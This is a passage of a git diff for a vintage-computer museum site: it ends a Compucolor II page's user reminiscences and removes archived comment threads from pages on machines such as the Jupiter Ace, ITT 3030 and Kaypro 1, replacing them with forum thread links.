2013 - text: In 1980 I graduated from college. My first job was working for a company called ESMARK in South Bend, Indiana. Steve Toussaint owned it, and we sold compucolor II''s to the Kings Cellar liquor stores. The pos program was written in Basic. We had endless problems with the disks getting corrupted, until Steve figured out that you could use mu metal applied in strategic spots to shield the disk. We would take a new one out of the box, open it, install the mu metal shield and sell it. My first real programming job was an interrupt driven printer for the cash registers, and it resulted in a bug that took 36 straight hours to find. The interface with basic, was when the assembly language routine was called, to scan through the basic variable space looking for I$. The next two bytes were a pointer to a string in memory (ram). The microsoft format had a 2 byte length followed by the data if I remember right. Any rate, periodically, the printer would print garbage. It just happened to be - pointing to the system rom some how, and printed out some text in the rom. It took 24 hours of solid work to finally figure it out. The crazy thing was that it happened only when one of the numbers was an even multiple of 2. Finally I tracked it down. Variable space was organized in 6 byte chunks. I was doing a linear scan. It just happened that one of the floating point values had the first two bytes matching I$ and I was picking up the last two bytes of the floating point number and using it as a pointer....in this case it pointed into rom.... The fix was simple, increment through the variable space by 6, so you were always looking at a variable name...... - - author: Jeff Brown (United States) - date: Thursday 27th December 2012 - text: I worked at Intecolor in the 80s. The 3650 was my first computer on which I learned BASIC and then 8080 ASM. I lost my 3650 years ago when someone cleaned out a closet at my father''s office. I had stored it there and had signs on it that said don''t throw away. I contacted some of the people I worked with then and after a few years I am finally going to pick up a 3651 tomorrow. I''ve spent the last few days going through my old software and manuals. Hopefully I can get M80 and L80 off one of the disks. If I can get that I can write a program and connect it to my PC and transfer all my software over. I hope to dump the ROMs and then write an emulator. I''ll keep the group here up to date with my adventures. - - author: Chuck Luciano (Denver) - date: Friday 17th August 2012 - text: |- - I developed industrial controls software on an intecolor machine from 81-84 mostly in assember with calls to FCS. - - During that time I spent a lot of time on the phone talking to Mike Higgins who was in tech support. Besides being very knowledgeable, Mike was fun to talk to. I''d love to know where he is these days and maybe BS with him for a few minutes about the ''glory days'' of ISC (I worked for ISD (Industrial Systems Design) at the time). - - If you see this Mike, look me up on LinkedIn - - author: Glenn (San Diego/USA) - date: Thursday 26th July 2012 - text: |- - Funny reading all the memories of everyone who had one of these - usually as a kid - me too!!! - - I bought mine when I was 15 and we drove down to Canberra to pick it up - I recall it was about 3½ grand back then for the 16K model 4 with extended keyboard. - - I was able to afford it as I had just started an apprenticeship as a sparky at BHP Newcastle steelworks (which is gone now - don''t let the San Diego location fool you - Aussie born and bred although I live here now) - - Like many others, after learning BASIC I ended up in the Computer Software game - That computer changed my life! - - Spent hours playing Swarms and Star Trek etc for hours. - - Strangely enough I still have the original keyboard for it at my old man''s place - the rest of it I gave away to an aspiring geek who lived next door. - - Hope he had half as much fun from it as I got. - - author: zame stahl (usa/ca) - date: Monday 20th February 2012 - text: i have one of these intecolor 8001g and sold they keyboards on ebay to a guy in los angeles he wont respond to me back about buyiong them back so i guess im burnt so anyways i''m in the markert to buy to keyboards for the 8001g thanks - - author: Ron Lisoski (Fort Myers USA) - date: Wednesday 11th January 2012 - text: I worked for Transart who wanted to market the Councillor machine to the public in a Marry K style party. I wrote some basic programs that demonstrated the machines capabilities. As I remember it the only printers it supported were serial you had to set the baud rate and bit configuration a la teletype. You also had to flip pins two and three (xmit and receive). Also it had sound using phones, and the speaker that came with tv, very advanced for the time. The competition was the IBM Peanut and early Apples. My line was,"Don''t fool with th fruits and nuts guys. - - author: ken kerrison (australia) - date: Friday 16th September 2011 - text: |- - A Compucolor 11 was my first computer bought around 1984 The tax database program I wrote in basic was later upgraded with Quckbasic and graduated through a succession of PCs until I ceased using it about a year ago.\ - In retrospect, the fact that ISC ceased support for this machine was beneficial. People is US, Australia and elsewhere not only developed powerful add-ons and software but sold this stuff within the community which developed. My two (or three) Compucolors are still tucked away somewhere - they had sound, basic in firmware and other features added.\ - I recall writing a program (which won a prize) to help my son learn the trumpet - It could generate random tunes - it displayed the music, could play it, and showed the fingering for each note. . - - author: ken kerrison (australia) - date: Friday 16th September 2011 - text: |- - A Compucolor 11 was my first computer bought around 1984 The tax database program I wrote in basic was later upgraded with Quckbasic and graduated through a succession of PCs until I ceased using it about a year ago.\ - In retrospect, the fact that ISC ceased support for this machine was beneficial. People is US, Australia and elsewhere not only developed powerful add-ons and software but sold this stuff within the community which developed. My two (or three) Compucolors are still tucked away somewhere - they had sound, basic in firmware and other features added.\ - I recall writing a program (which won a prize) to help my son learn the trumpet - It could generate random tunes - it displayed the music, could play it, and showed the fingering for each note. . - - author: ken kerrison (australia) - date: Friday 16th September 2011 - text: |- - A Compucolor 11 was my first computer bought around 1984 The tax database program I wrote in basic was later upgraded with Quckbasic and graduated through a succession of PCs until I ceased using it about a year ago.\ - In retrospect, the fact that ISC ceased support for this machine was beneficial. People is US, Australia and elsewhere not only developed powerful add-ons and software but sold this stuff within the community which developed. My two (or three) Compucolors are still tucked away somewhere - they had sound, basic in firmware and other features added.\ - I recall writing a program (which won a prize) to help my son learn the trumpet - It could generate random tunes - it displayed the music, could play it, and showed the fingering for each note. . - - author: Geoff Duncan (New Zealand) - date: Wednesday 31st August 2011 - text: |- - my dad was using these back when I was a kid, developing what became a fully functional Dental system. - - I used to write simple code to do graphics, plot circles on the screen etc. I ended up with a couple of full screen images which were created using ASCII characters..such a lot of fun. - - Now I do CG VFX work, so I guess all that mucking around on the Compucolor II paid off!! - - author: Bruce Williams (Pasadena, CA) - date: Sunday 7th August 2011 - text: |- - I worked for Compucolor, first in production and then as Software Manager under Greg Whitten.\ - Charles Muench - "Charley" was my mentor and inspiration as he was for so many young people coming into the microcomputer revolution. The CCII as technology offered much more than the Apple II, but the disk drive was ahead of it''s time. I often feel if we were in Sunnyvale we would have beat Apple head-to-head.\ - I also remember Dr. E.P. Miles coming to ISC. He was working on Mandelbrot programs on the Intecolor.\ - I left ISC to work for Williams in Chicago and then Atari.\ - Those were the days! - - author: Greg (Russia) - date: Friday 14th January 2011 - text: In response to Mike Ungerman, there was a series of unique graphics based strategy games on the Compucolor, which you may be referring to. Some of the titles were Lightning Command (a board-type war game), Bomb Squad (you attempt to defuse various bombs - some humorous), Target Omega (a submarine simulator) and Space 2020 (a trading game set in outer space between aliens). These were all original games, and one footnote is that the guy who wrote Bomb Squad went on to write the popular "Where in the World is Carmen San Diego?" The other games were written by me, and sold at Byte Shops and other early computer retailers. One other note - the name of the 8-track storage device was the "Stringy Floppy" (yes, seriously - that''s what they called it.) - - author: Jim Rieder - date: Monday 27th December 2010 - text: I programmed FCS for the InteColor 8001 in 8080 assembly language. I played with Charlotte in the basement. - - author: Mike Ungerman (Orlando, Fl/USA) - date: Tuesday 7th December 2010 - text: My first computer was a CompuColor II. It was 1979 and the Apple II had just come out, but it stored data on an audio tape, and the CCII used floppies! Unfortunately, the hardware reliability was very poor. I shipped it to ISC three times for repairs$ on the third time the airline lost it in transit$ insurance paid off and I did purchase that Apple. But I learned to program in BASIC on that CCII$ actually wrote and marketed a program to do multiple choice testing, but there wasn''t much in the line of sales. I vaguely remember a unique graphics based strategy game that I liked but have never seen on any computer since. I''d love to find out what it was and whether it is available somewhere for a PC. - - author: Charlotte Murray (Naples, FL) - date: Tuesday 27th July 2010 - text: |- - I learned to spell my name on this computer. My dad, Charles Muench, designed the computer when I was very young. I remember dad had a few employees at the time and they worked in our basement. Dad graduated from Georgia Tech with a degree in electrical engineering. He first started working with his brother at another company I think it was called Integrated Systems. He then left to build the first home color computer. He did take some basic from Bill Gates but they settled when he shared some of his work with Mr. Gates. - - I think I promised the guys from this site a copy of the brochure that I was actually in to advertise the computer. I will try to get on that and also I will see if I can get my dad to post something here. I know that seems like a lifetime ago to him though. - - author: Allison Newman (France) - date: Friday 14th May 2010 - text: |- - Ahhh, the Compucolor II. I learned to program on one of these guys! The thing I remember most vividly was the way the graphics system worked. The graphics resolution was a weak 128 x 128 pixels, but you could have 8 colours on the screen at once. However that didn''t allow for arbitrary use of those colours. The way the system was implemented was as a 64 x 32 grid of "characters" with each character being made up of a 2 x 4 array of pixels. For each of those characters you could specify a foreground and a background colour. The 2 x 4 array was represented as a byte, with the 1s being drawn with the foreground colour and the 0s being drawn with the background colour. - - The input system was fun too. In the Basic interpreter, the only way to read key input other than by "input" (which of course needed a carriage return before being read) was to "peek" at a certain memory address to see if anything had been written there. One thing that irked me in my career as a budding programmer was that it was pretty much impossible in Basic to trap the down arrow key which was the Compucolor''s equivalent of Ctrl-C. It used to annoy me because I couldn''t write "proper games" that used the cursor keys, like the "real" games did. - - One very vivid memory comes to mind. Sometimes a Basic script could get corrupted on disk - there would be some junk written into the file. This resulted in an out-of-order line being put into the file - the listing would go - - 1720 REM BLAH BLAH BLAH\ - 1730 PRINT "HELLO WORLD"\ - jibberish\ - 1740 GOTO 1720\ - when you tried to run the program, it would blow up at line 1730. The recommended fix was to $ a line\ - 1731 REM $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\ - and then peek into memory to find the long string of 0x35s. The badly formatted line was then zeroed out or jumped or something, I don''t remember which. I still remember the ascii code for ''$'' to this day thanks to this hack :-) - - You could also read what was on the screen programatically - I remember writing a disk utility that provided a graphical interface for doing disk operations such as deleting, renaming and copying files, which worked by printing a listing of the directory to the screen, and then scraping the screen to know the name of the file that the user had $ed. - - I/O was very simple - I was only about 10 at the time but I managed to write a utility that could read the graphics buffer and then send the right codes to my epson dot matrix printer to spit out what was on the screen - I don''t remember the command actually used to send control codes out of the serial port, but it must have been simple, because I managed to grok it without any help other than the two programming manuals that I had for the machine. - - Speaking of programming manuals, does anyone remember the name of the manual that was mostly black on the cover, but had a 3d plot of some math function done with blue (cyan!) dots? I owe my entire career to that book. - - As others have already noted, it was possible to damage the hardware by writing bad values to certain parts of memory. The result of that was that my father forbid me to use the "poke" command whilst I was programming :-) Oddly enough, he didn''t bat an eyelid when I started playing around with assembly language, although the computer was already several years old by then and maybe he just didn''t care anymore if I destroyed it. - - author: Jim Stone (GA, USA) - date: Friday 2nd April 2010 - text: |- - I bought a Compucolor II in 1979 and took it to Saudi Arabia with a book on programming. It ran on power a generator that was not very reliable and during surges smoke wold come from the Compucolor. - - In three months I was able to write a complex billing program that reduced our invoice preparation time (to the government) by seven days and reduced our collection time by 21 days. I was hooked! - - I have now spent over 25 years in business software and look forward to many more. - - author: John Bell (VA, USA) - date: Thursday 11th December 2008 - text: I bought one when I was in college (RIT) and I think David Suits, who contributed the comment on 3/15/07, was one of my teachers there. I was surprised to see him at a local club meeting. I went all-out and bought the InteColor version of the machine, which had the keyboard and monitor in a single, attractive, white case. During my senior year I spent more time on the computer than I did on homework, but I graduated anyway. I wrote an image editing program (all in BASIC) where you could "draw" on the screen and create/save/display your artwork. My CCII stopped working years ago and several keys have come off the keyboard, but I''m fairly sure I still have it (and the doc and dozens of disks) down in my basement. Is Bill Freiberger still fixing CCIIs? After college I moved to northern NJ and I met Bill there and brought my machine to his house several times for repairs and upgrades. My favorite programs for it were Swarm (someone else mentioned that) and a program that would fill - the screen with colored squares in a mesmerizing pattern. - - author: Stanford Hudson (USA) - date: Tuesday 25th November 2008 - text: I first saw the CCII in my 8th grade algebra class back in 1981. A student, who''s family was known to be wealthy, brought one in for show-and-tell. It was the first computer I had ever laid my eyes on. Colorful keyboard, graphics, simple-looking system... I was immediately hooked. I do remember the disk taking a long time to read/write during the student''s demo of his system. The graphics were incredible - colors very brilliant. My parents ended up buying our family an Apple II+ later that year, but the CCII has always stuck in my head as this mysterious, untouchable system. I finally found one on eBay last night and snatched it up fast. Manuals and software are also forthcoming. - - author: Paul Wakefield (UK) - date: Wednesday 15th October 2008 - text: I was quite excited, as I have one of these in the computer closet (complete with colourful keys !). However, on opening it up, I see someone has enterprisingly grafted a ZX81 motherboard onto the Compucolor keyboard (maybe those membrane keys really did get to him !) - - author: David Suits (USA) - date: Thursday 15th March 2007 - text: I cut my teeth on the CCII's BASIC, and quickly moved to 8080 assembler. Wrote a little book for the Compucolor, sold some software for it, and helped Disney put up some Intecolors (Compucolor's big brother) at EPCOT Center. Although the machine could be a temperamental beast, it was always a thrill to program for it. I regret selling mine. - - author: Matt Calman (USA) - date: Friday 1st December 2006 - text: 'I used the beloved Compucolor II in high school in 1979-1983. Two thing I remember very clearly: 1. ESC-D pull up the file system. The Basic interpreter and the file system operated independently. More importantly, 2. You had to be sure to remove your floppy disk before powering on. The degaussing action of the CRT power-on would usually erase any floppy in the drive! My high school, Deerfield Academy in Deerfield, Massachusettes, had two of these. An older student, named Chris Keener, learned to work in assembler with the device and wrote a bookstore management system with it, and even had a dual 8" floppy drive hacked onto it.' - - author: Steven Myers (Los Angeles, CA USA) - date: Sunday 23rd October 2005 - text: 'My Dad bought my Brother and I one of these back in the 70s for round $2000. I think it had 16K of RAM and we upgraded it to 32K. We typed in our own BASIC programs which we found in books. My Dad kept the computer and all the floppies and manuals that go with it. He even saved the old newsletters. The only thing we''re missing is the power cord! does anyone know what sort of cord it needs (model #) and/or where I can get one so we can try firing it back up? It is a strange horizonal three prong thing. Thanks!' - - author: Anthony DeHart (Earth) - date: Wednesday 19th October 2005 - text: |- - I remember this old computer fondly. I used to go to a friends house who had one of these and we'd spend all day programming in basic and doing peeks and pokes to change things on the screen. It blew me away because it had color and it was dot addressable to boot. - - The model my friend had must have been a later model than I originally thought as it most definitely had the 8" drives on it. The one thing I recall the most is playing BASIC versions of a game called SWARM where killer bees were attacking the US from the south and of course where would any computer be without a version of STAR TREK. - - Although I'd dabbled with the TRS-80 Model I a bit, I cut my programming teeth on this computer. I finally convinced my parents to get me my OWN computer, an APPLE II. - - author: Joel Provost (USA) - date: Saturday 26th February 2005 - text: My father bought a Compucolor II back around 1979. I learned how to program on it at first in BASIC, then in assembler. It also happened that the Hillsborough Country school system( Tampa, Florida), bought these systems for their high schools. I went to high school with the nephew of Charles Meunch, but thats another story. This was during the early arcade game days. I wrote a version of Space Invaders, Galaxian and some home designed video games ( Space Orbs, Galactic Attack). I was able to trade these programs for hardware from the Compucolor company. I was also able to sell the software via the user group magazines. This money helped me get through college. The thing constantly broke down and was in the repair shop frequently. I eventually learned how to repair it myself, replacing power supply capacitors, etc. - - author: Scott Larson (Portland, OR) - date: Wednesday 10th September 2003 - text: My junior high school bought a couple of CompuColor 2's back in 1981. The district didn't have the money for Apple computers and felt these were essentially the same thing. The worst thing about them were the unreliable disk drives. Once you pulled a floppy out of the drive there was a good chance you would never be able to read anything off it again. Your odds improved if you used the floppy in the same computer. I always wondered whether the proximity of the CRT to the drive was causing this. These machines taught us kids a lot about computers, that's for sure. - - author: Chuck Lewis (Philadelphia, PA) - date: Thursday 5th September 2002 - text: Back in the late 70's my dad and I got one of the "smart" terminal versions of this computer (probably the 8001 model referred to on the summary page). Anyway, it was built around a 19" color monitor - very nice for the day. The machine stopped working in the late 80's and was discarded, however I still have the keyboard, dual external 5.25" floppy drive unit, and a bunch of manuals including a lot of "OS" source code and schematics. I'd really like to get some of the assembly/BASIC code that my dad and I wrote off of the floppies, but at this point my only real possibility of doing this would involve recreating portions of the old circuitry interfaced to a modern PC. I'm not certain that path would bear fruit (bad drives, incorrect / incomplete schematics, unreadable floppies). Anyone out there got a working Intecolor 8001 I could plug the floppy drive into and see if the ISC FCS ("file control system") would read my collection of old floppies? Or has anyone ever successfully - used a modern floppy controller/drive to pull the information off. I seem to recall some ISC Intecolor owners had a CP/M PROM... we didn't, we opted for the BASIC PROM upgrade, but information from someone who had the CP/M based system might be useful too. software: - /software/air-raid - /software/assembler diff --git a/content/museum/iskra-delta-800.md b/content/museum/iskra-delta-800.md index 7f01d706..d0a94fc2 100644 --- a/content/museum/iskra-delta-800.md +++ b/content/museum/iskra-delta-800.md @@ -50,13 +50,7 @@ params: value: DELTA / M - label: PRICE value: Unknown - comments: - - author: Joze (Slovenia) - date: Sunday 6th April 2014 - text: |- - Iskra Delta computer D800 has enhaced DEC M8265 and M8266 processor modules.\ - The later version of the D800 has one processor module, made by Iskra Delta.\ - This module is very similar to both of the aforementioned module, and has’t J11 processor. + forum_thread: 70 oc_id: 54 source: url: https://web.archive.org/web/20230607213851/http://www.old-computers.com/museum/computer.asp?c=54 diff --git a/content/museum/iskra-delta-partner.md b/content/museum/iskra-delta-partner.md index 3936394c..a1930a58 100644 --- a/content/museum/iskra-delta-partner.md +++ b/content/museum/iskra-delta-partner.md @@ -58,27 +58,7 @@ params: value: Built-in Power Supply Unit - label: PRICE value: Unknown - comments: - - author: Tomaz Stih (London) - date: Tuesday 28th June 2022 - text: 'Pozdrav, Daniel, ja sam avtor SDK za pisanje programa za Iskra Delta Partner (link: http://github.com/tstih) i modernog softvera i Ä�lan jedne grupe, koja se trudi ohraniti naÅ¡u digitalnu baÅ¡tinu. Nemam svoj Partner pa sve razvijam na emulatoru ali sam dostigao granice. Pa me zanima, da li bi možda razmislili o prodaji?' - - author: Daniel Rakijasic (Croatia) - date: Saturday 19th November 2016 - text: |- - This is video of my fully functional Iskra Delta Partner: - - https://www.youtube.com/watch?v$LMrYh1urQnA$list$PLEAQAPthvT3gbQVzfkEEUR-eIki23SuKF$index$1 - - This CP/M machine can run Turbo Pascal, DBase, WordStar, ... - - author: Goran (Serbia) - date: Thursday 24th March 2005 - text: I need CP/M operating system, or programs for Iskra Delta PARTNER. Thanks! - - author: Jernej (Slovenia) - date: Monday 31st January 2005 - text: Hello. I have a Iskra Delta Partner computer but it has no keyboard. Has anyone got a schematic (circuit) diagram for it so I can build one? Please!! - - author: Valentin (Slovenia) - date: Sunday 8th February 2004 - text: Iskra Delta PARTNER also used CP/M operating system. So, there were many programs for it. I remember many programs were written using Borland's Turbo Pascal. It was also used in schools for teaching programming. + forum_thread: 69 oc_id: 53 source: url: https://web.archive.org/web/20230607121318/http://www.old-computers.com/museum/computer.asp?c=53 diff --git a/content/museum/isot-ec-1035.md b/content/museum/isot-ec-1035.md index e6fed716..255b24f2 100644 --- a/content/museum/isot-ec-1035.md +++ b/content/museum/isot-ec-1035.md @@ -57,6 +57,7 @@ params: tabs: - photos - hardware + forum_thread: 952 photos: - title: ISOT BROCHURE subtitle: '' @@ -81,21 +82,6 @@ params: Thanks to **Bojidar Stefanov** image: /media/museum/hardware/isot_ec1035_modem_s1.jpg - comments: - - author: oldboy - date: Thursday 22nd November 2012 - text: |- - This was an IBM370 series compatible computer.\ - We used it with IBM-DOS/VS-POWER system. - - author: Dave Witt (Canada) - date: Saturday 17th March 2012 - text: Probably because EC in Cyrillic looks like ES in Latin alphabet - - author: Thomsonicus (Poland) - date: Wednesday 12th December 2007 - text: hmm, the name says EC-1035 but the brochure states that it's a ES-1035... weird - - author: Linkman (Slovak Republic) - date: Friday 22nd April 2005 - text: I wanna know how big is this computer ? oc_id: 978 source: url: https://web.archive.org/web/20230510155754/http://www.old-computers.com/museum/computer.asp?c=978 diff --git a/content/museum/isot-ec-1037s.md b/content/museum/isot-ec-1037s.md index 8bfdbe32..dfcb4c26 100644 --- a/content/museum/isot-ec-1037s.md +++ b/content/museum/isot-ec-1037s.md @@ -56,6 +56,7 @@ params: value: Built-in PSU - label: PRICE value: Unknown + forum_thread: 984 oc_id: 1010 source: url: https://web.archive.org/web/20230607113828/http://www.old-computers.com/museum/computer.asp?c=1010 diff --git a/content/museum/itmc-sd-290.md b/content/museum/itmc-sd-290.md index b153e4f0..55f930aa 100644 --- a/content/museum/itmc-sd-290.md +++ b/content/museum/itmc-sd-290.md @@ -12,6 +12,7 @@ params: - software - links - docs + forum_thread: 804 photos: - title: ITMC SD-290 subtitle: '' diff --git a/content/museum/itmc-video-ordinateur-mpt-05.md b/content/museum/itmc-video-ordinateur-mpt-05.md index 8bed4471..f3eca4b0 100644 --- a/content/museum/itmc-video-ordinateur-mpt-05.md +++ b/content/museum/itmc-video-ordinateur-mpt-05.md @@ -10,6 +10,7 @@ params: tabs: - emulators - links + forum_thread: 1280 emulators: - title: WinArcadia url: http://amigan.1emu.net/releases/ @@ -38,10 +39,6 @@ params: - title: VC4000.de url: http://www.vc4000.de text: Website dedicated to the Interton VC4000 (in German) - comments: - - author: Steven Pavelish (United States) - date: Tuesday 4th May 2021 - text: Nice tech! related: - /museum/acetronic-mpu-1000-2000 - /museum/cabel-universal-game-computer diff --git a/content/museum/itt-3030.md b/content/museum/itt-3030.md index 09bcbb0b..c60dc718 100644 --- a/content/museum/itt-3030.md +++ b/content/museum/itt-3030.md @@ -68,6 +68,7 @@ params: tabs: - photos - adverts + forum_thread: 158 photos: - title: COLOR PICTURE subtitle: '' @@ -100,24 +101,6 @@ params: Not less ! image: /media/museum/pubs/itt_3030_pub_1.gif - comments: - - author: Helwie44 (Deutschland) - date: Sunday 14th May 2017 - text: |- - Hallo wer kann mir Unterlagen und cp/m Disketten ( ev. .IMD, .RAW...) von der ITT3030 zu kommen lassen kan?\ - Die Maschine wurde ja von sks Steinmetz- Krischke- Systeme, Karlruhe für ITT entwickelt..\ - Meine kleine Sammlung:\ - http://www.waltroper-aufbruch.de/Archiv/AlphatronicP2.php - - Helwie44 - - author: Julio Garcia (Spain) - date: Thursday 8th September 2016 - text: I just recovered my old ITT3030 from a garage where it has been sleeping for the past 25 years. Power supply was dead, and rats have done their work, but i have managed to make it boot again. I am recovering a lot of documentation, hardware schematics, software packages and manuals, I am amazed to see it work again. - - author: John Bacon (UK) - date: Tuesday 26th June 2012 - text: |- - I worked on the early 3030 at ITT Creed in Brighton. The original machine had two 5.25 disk a Z80A with a massive (it was in those days) 64k of memory of which the bottom 4k was a PROM holding a modified version of CPM. Floppy disks with Basic, Word Star I don’t think in those days it had VisiCalc. It was first demonstrated in the UK on a Thames pleasure boat, (sorry I can’t remember the date I guess it would be 1980/81)\ - On this trip up and down the Thames, I demonstrated how easy it was to strip down the machine and reassemble it by saving a partly written letter, then switching the machine off taking the two floppies out then the CPU board and the display card. With the machine complete in bits I then put it back together and carried on writing the letter. In those days no other machine could do this. I believe that the 3030 was the first truly modular system. oc_id: 146 source: url: https://web.archive.org/web/20230416215946/http://www.old-computers.com/museum/computer.asp?c=146 diff --git a/content/museum/ivasim-elektronika-ivel-ultra.md b/content/museum/ivasim-elektronika-ivel-ultra.md index f5b20abc..bc12974c 100644 --- a/content/museum/ivasim-elektronika-ivel-ultra.md +++ b/content/museum/ivasim-elektronika-ivel-ultra.md @@ -56,6 +56,7 @@ params: value: Unknown tabs: - photos + forum_thread: 1187 photos: - title: IVEL ULTRA subtitle: '' @@ -69,13 +70,6 @@ params: subtitle: '' text: Thanks to Sveto for this picture image: /media/museum/photos/ivel_ultra_1986_model.jpg - comments: - - author: Thomsonicus (Poland) - date: Wednesday 26th December 2007 - text: |- - nd the white version is newer (made in 1987-1900). - - 1900? wow, that's long... ;-) oc_id: 1220 source: url: https://web.archive.org/web/20230330082447/http://www.old-computers.com/museum/computer.asp?c=1220 diff --git a/content/museum/jostykit-multi-tv-game-hf-344.md b/content/museum/jostykit-multi-tv-game-hf-344.md index 26fffc61..96931ac1 100644 --- a/content/museum/jostykit-multi-tv-game-hf-344.md +++ b/content/museum/jostykit-multi-tv-game-hf-344.md @@ -52,6 +52,7 @@ params: - software - emulators - links + forum_thread: 672 screenshots: - title: TENNIS subtitle: '' @@ -82,10 +83,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Mads (Denmark) - date: Wednesday 24th May 2006 - text: I have one i my possesion. I will be modding it soon, by encasing it in a teak tree chassis, and make two esternal joypads in hardwood and attatch external power supply, as a present for my infant son. He will be thrilled playing the games when he get a bit older. I can post images of the original before I start rebuilding. related: - /museum/a10-telespiel-9010 - /museum/alex-video-spiel-tg-621 diff --git a/content/museum/joueclub-sd-290.md b/content/museum/joueclub-sd-290.md index 8161f5fd..7b0571de 100644 --- a/content/museum/joueclub-sd-290.md +++ b/content/museum/joueclub-sd-290.md @@ -58,6 +58,7 @@ params: - software - links - docs + forum_thread: 805 links: - title: INTERNAL LINK url: http://www.old-computers.com/magazine/view.asp?r=2&a=6 diff --git a/content/museum/jupiter-cantab-jupiter-ace.md b/content/museum/jupiter-cantab-jupiter-ace.md index b44f1cf0..1964e6ba 100644 --- a/content/museum/jupiter-cantab-jupiter-ace.md +++ b/content/museum/jupiter-cantab-jupiter-ace.md @@ -64,6 +64,7 @@ params: - emulators - links - docs + forum_thread: 159 photos: - title: JUPITER ACE subtitle: '' @@ -250,63 +251,6 @@ params:  compiled/archived by Steve Parry-Thomas / Jupiter Arce Archive Project\  type of document : PDF\  source : [Jupiter Ace Resource Site](http://www.jupiter-ace.co.uk/) - comments: - - author: Big Bad Bot - date: Tuesday 22nd November 2016 - text: |- - Jupiter Ace, when compared to computers of the era is just a little off center. And it is enough out of sync to make it uncomfortable to use$ especially since it did not have BASIC. - - Now if they created it as a color computer before the Spectrum, then it probably would have been more successful. - - author: Jackson - date: Sunday 10th February 2013 - text: I believe Matt is stupid and needs to get a life and typing lessons. - - author: Matt Whele - date: Monday 7th January 2013 - text: i believe all of you are stupid and need to get lives and get off of this site - - author: Matt Whele - date: Monday 7th January 2013 - text: i believe all of you are stupid and need to get lives and get off of this site - - author: Matt Whele - date: Monday 7th January 2013 - text: i believe all of you are stupid and need to get lives and get off of this site - - author: Tony (Hastings/UK) - date: Thursday 15th March 2012 - text: To keep comparing it solely to the ZX81 missed the point I think. Although memory was as low as the ZX81 and some of the hardware (such as graphics) almost as low, it was much closer in look and feel to the Sinclair Spectrum. - - author: Nick (Swindon/Brussels) - date: Saturday 29th May 2010 - text: I bought one in a sale at the time but it kept catching fire which was somewhat unnerving. - - author: Steve(spt) (UK) - date: Thursday 16th June 2005 - text: A searchable pdf of the manual, all 182 pages is now on the resource site at www.jupiter-ace.co.uk - - author: Simon Goodwin (Warwick, UK) - date: Saturday 6th December 2003 - text: |- - The Jupiter Ace was designed and implemented by Steven\ - Vickers and Richard Altwasser after they left Sinclair\ - Research for their start-up company Jupiter Cantab.\ - As Altwasser designed the Spectrum hardware (and later\ - computers for Amstrad) and Vickers wrote the Spectrum\ - manual and adapted the ROM from that for the ZX-81\ - (as an employee of Sinclair's software sub-contractors\ - Nine Tiles) the family resemblance should come as no\ - surprise. - - Simon Goodwin (former Technical Editor of Crash magazine) - - author: Mario Villar (Uruguay) - date: Friday 15th August 2003 - text: |- - I want to know if anyone out there has a Jupiter Ace manual that can send me via mail.\ - Many Thanks - - author: Sam Wilson (Bergen) - date: Wednesday 20th November 2002 - text: Well, this looks like an interresting computer. I have never had one, but i have run an emulator. This computer reminds me of the ZX Spectrum. Why are they so similair? - - author: Alan Whiteside (UK) - date: Wednesday 12th June 2002 - text: |- - I have two Jupiter Aces which I have recently refurbished.I wonder if any one has a circuit diagram. - - Many thanks\ - AW oc_id: 147 source: url: https://web.archive.org/web/20230529183420/http://www.old-computers.com/museum/computer.asp?c=147 diff --git a/content/museum/jvc-hc-95.md b/content/museum/jvc-hc-95.md index b713f54e..aef4d108 100644 --- a/content/museum/jvc-hc-95.md +++ b/content/museum/jvc-hc-95.md @@ -66,6 +66,7 @@ params: - photos - emulators - links + forum_thread: 843 photos: - title: BACK SIDE subtitle: '' @@ -97,30 +98,6 @@ params: - title: MSX Faq url: http://www.faq.msxnet.org text: Here, you can find near all hardware pieces related to MSX. - comments: - - author: JamesD - date: Tuesday 27th October 2015 - text: |- - Correction, there is no native mode on the 64180. That''s a feature on the Hitachi 6309\ - A 6 MHz 64180 is supposed to be twice as fast as a 4 MHz Z80\ - BYTE magazine published a design for a CP/M compatible 64180 system in the Sept/Oct 1985 issues - - author: JamesD - date: Sunday 15th January 2012 - text: Percent - - author: JamesD - date: Sunday 15th January 2012 - text: That was supposed to say 20$ faster - - author: JamesD (USA) - date: Sunday 15th January 2012 - text: |- - The HD64180 was manufactured by Hitachi. Zilog now sells the same thing as the Z180 but with minor differences in the buss signals. - - The 64180/Z180 add a native mode which executes code 20$ faster once enabled, new instructions allow smaller more efficient code, an MMU allows addressing up to 1MB of memory, illegal opcodes are trapped, etc... - - author: Pharoah (USA) - date: Saturday 24th December 2005 - text: |- - 512 colors, interesting!\ - That's 9 bits :) related: - /museum/canon-v-25 - /museum/kawai-kmc-5000 diff --git a/content/museum/kawai-kmc-5000.md b/content/museum/kawai-kmc-5000.md index 8d317c6a..221410e8 100644 --- a/content/museum/kawai-kmc-5000.md +++ b/content/museum/kawai-kmc-5000.md @@ -63,6 +63,7 @@ params: tabs: - emulators - links + forum_thread: 647 emulators: - title: BlueMSX url: http://www.bluemsx.com/ diff --git a/content/museum/kaypro-1.md b/content/museum/kaypro-1.md index 5c250322..735c83d6 100644 --- a/content/museum/kaypro-1.md +++ b/content/museum/kaypro-1.md @@ -64,6 +64,7 @@ params: - photos - links - docs + forum_thread: 812 photos: - title: BACK SIDE subtitle: '' @@ -91,13 +92,6 @@ params:  type of document : Online reader **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Richard (US) - date: Thursday 10th February 2011 - text: |- - I worked or Kaypro as a district manager when the Kaypro 1 was introduced. By the time the Kaypro 1 was introduced, CP/M was totally, absolutely, positively dead, and we as sales people tried until we were blue in the face to convince the Kays of that. As I recall, the Kaypro 1 sold for $999, with a dealer cost of $750 plus about $50 for shipping. Dealers had a love/hate relationship with the Kaypro. They loved them because Kaypro had a very loyal fan base, but they hated them because the margins were quite low, and there was little chance to make extra money on software and accessories because most Kaypros shipped feature-rich with the software already bundled. Dealers had no interest in the K1 because most had no one on staff who was familiar with CP/M by the time the K-1 came out, and in a market where the consumer expected a 20$ discount minimum, there just wasn''t anything in the deal for the dealer. - - The price point was fabulous for a machine for somewone who was heavy into word processing, and Word Star looked about the same in CP/M as it did in DOS, but the world was moving away from text based computing towards graphics-based computing, and neither CP/M nor DOS had much of a future left by 1986. related: - /museum/kaypro-10 - /museum/kaypro-2x diff --git a/content/museum/kaypro-10.md b/content/museum/kaypro-10.md index 1cce509d..c344bcc5 100644 